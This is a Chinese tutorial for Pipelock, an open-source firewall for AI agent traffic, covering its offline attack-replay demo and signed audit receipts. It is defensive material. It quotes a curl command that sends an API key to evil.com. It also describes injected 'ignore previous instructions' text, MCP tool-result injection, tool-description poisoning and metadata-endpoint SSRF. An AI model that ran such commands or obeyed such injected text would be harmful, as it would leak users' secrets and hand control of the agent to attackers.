【免费下载链接】pipelock
Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.
Pipelock 是一款开源 AI Agent 防火墙,用于拦截 MCP 与 Agent 出网流量中的密钥泄露、SSRF 与提示注入。它的pipelock demo命令无需配置、无需联网,就能在本地重放 7 类真实攻击场景,把每一个拦截动作签发为 Ed25519 签名审计凭证(receipt),再用pipelock verify-receipt完全离线地验证签名真伪。本文带你从零跑通这套"演示 + 验签"全流程。
一、为什么要"不联网"也能验证安全能力?
AI Agent 手里通常握着$PROVIDER_API_KEY和 shell 权限——一条curl "https://evil.com/steal?key=$PROVIDER_API_KEY"就能让密钥外泄。大多数安全产品让你"相信仪表盘",而 Pipelock 的思路是:把每次边界决策签发为一份可离线核验的签名凭证,让审计者用自持的公钥自己验证,不需要账号、不需要联网。
pipelock demo正是这个思路的最小闭环:它在进程内用默认配置构建扫描器,逐条重放攻击,不产生任何真实网络请求。
二、一键运行:零配置跑通 7 个攻击拦截
先安装(任选其一):
git clone --branch v3.7.0 --depth 1 https://gitcode.com/gh_mirrors/pi/pipelock make -C pipelock install # 或:brew install luckyPipewrench/tap/pipelock # 或:docker pull ghcr.io/luckypipewrench/pipelock:3.7.0然后只需两条命令:
pipelock demo --receipts-dir ./out # 重放攻击场景,写入 7 张签名凭证 + signer.pub pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # 离线验证签名运行输出会逐个场景打印Scenario i/7、攻击描述、[BLOCKED]结果,以及每张凭证的signed, verified offline状态,最后汇总Results: 7/7 attacks blocked,并提示把 7 张签名凭证与signer.pub写入了./out。想用于现场演示时,可加--interactive在场景之间暂停。
三、7 个真实攻击场景逐个击破
demo 内置 7 类生产环境中常见的 Agent 攻击向量(实现见 internal/cli/diag/demo.go):
| # | 场景 | 攻击手法 | 拦截层 | 严重级 |
|---|---|---|---|---|
| 1 | 凭证外泄 | Agent 把 API 密钥拼进外发 URL 参数 | DLP | Critical |
| 2 | 提示注入 | 抓取页面里藏有"忽略先前指令"的隐藏指令 | 响应扫描 | High |
| 3 | 云元数据 SSRF | 探测169.254.169.254云实例元数据端点 | SSRF 防护 | Critical |
| 4 | 粘贴服务外传 | 向已知数据外泄目的地(pastebin.com)上传 | 域名黑名单 | High |
| 5 | MCP 响应注入 | MCP 工具返回结果中嵌入提示注入 | MCP 响应扫描 | High |
| 6 | MCP 入参泄密 | 密钥藏在tools/call工具调用参数里 | MCP 入参扫描 | Critical |
| 7 | 工具描述投毒 | tools/list的工具描述里埋设窃密指令 | 工具描述扫描 | High |
每个场景跑完后都会生成一条签名凭证,其中绑定检测层(layer)、命中模式(pattern)、判定结果(verdict)与策略哈希(policy hash)——这就是"审计证据来自 Agent 之外"的落地点。
四、离线验证 7 张签名审计凭证
demo 每次运行都会生成一对临时 Ed25519 签名密钥:公钥打印在终端并写入signer.pub;每张凭证写入./out/<action-id>.json。更关键的是,demo 会用"钉住的外部公钥"(而非凭证内嵌的公钥)做内联验证——这证明的是真实性,而不只是内部自洽。
第三方审计者拿到目录后,一条命令即可离线核验:
pipelock verify-receipt ./out/<receipt>.json --key "$(cat ./out/signer.pub)"验证命令的完整参数(链式校验、整录校验、--expect-head端点钉住等)见 docs/cli/verify-receipt.md,完整验证流程与信任边界说明见 docs/guides/receipt-verification.md。
五、把凭证"看"起来:证据视图与操作台
命令行验证之外,还可以把录制会话渲染成离线 HTML 报告(免费版、无需 license、无需起服务):
pipelock init --output ./pipelock.yaml # 生成 recorder 目录与签名密钥 pipelock run --config ./pipelock.yaml # Agent 工作时记录 pipelock evidence view --receipt-dir ./recorder --out report.html企业版操作台则提供只读的 Evidence / Overview 视图:评分卡按 Authentic、Untampered、Anchored、Completeness 四项各自独立打分,并明确写出每项"不能证明什么"。
六、一张凭证到底证明了什么?
诚实地说(Pipelock 自己也这么标注):demo 使用临时密钥,凭证证明的是边界做出了该决策、且持钥方签了名,而不是"操作者是诚实的";它也无法证明边界之外发生了什么。完整的论证见 docs/security/demonstration-over-attestation.md。
💡 一个"对自身边界诚实"的凭证,胜过藏着边界的绿色对勾。
七、延伸学习
- demo 命令完整文档:docs/cli/demo.md
- 端到端可运行示例(MCP 工具响应注入,三种传输共用一把签名密钥):examples/tool-response-injection/
- 更多真实被拦截的攻击与复现代片段:docs/attacks-blocked.md
- 证据术语速查(ActionReceipt、flight recorder、锚定等):docs/evidence/README.md
一条命令、零网络、七张可离线核验的签名凭证——这就是用 Pipelock 验证"防火墙真的在拦截"的最快路径。
【免费下载链接】pipelock
Open-source AI agent firewall for MCP security and agent egress. Scans mediated HTTP, MCP, A2A, and WebSocket traffic for exfiltration, SSRF, and prompt injection, and emits mediator-signed action receipts: verifiable audit evidence from outside the agent.
相关推荐
终极指南:如何用DeepFace构建坚不可摧的图像验证系统抵御伪造攻击
终极指南:如何用DeepFace构建坚不可摧的图像验证系统抵御伪造攻击 在当今数字时代,图像伪造技术日益猖獗,从虚假身份认证到深度伪造诈骗,伪造文件攻击已成为企
人工智能计算机视觉深度学习终极指南:async-http-client拦截器实现HTTP请求签名验证
终极指南:async http client拦截器实现HTTP请求签名验证 在现代分布式系统中, HTTP请求签名验证 是保障API安全性的重要手段。async
后端网络SwarmUI终极问题排查指南:从安装失败到GPU配置的完整解决方案
SwarmUI终极问题排查指南:从安装失败到GPU配置的完整解决方案 SwarmUI作为一款功能强大的AI图像生成Web界面,在提供丰富功能的同时也可能遇到各种
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考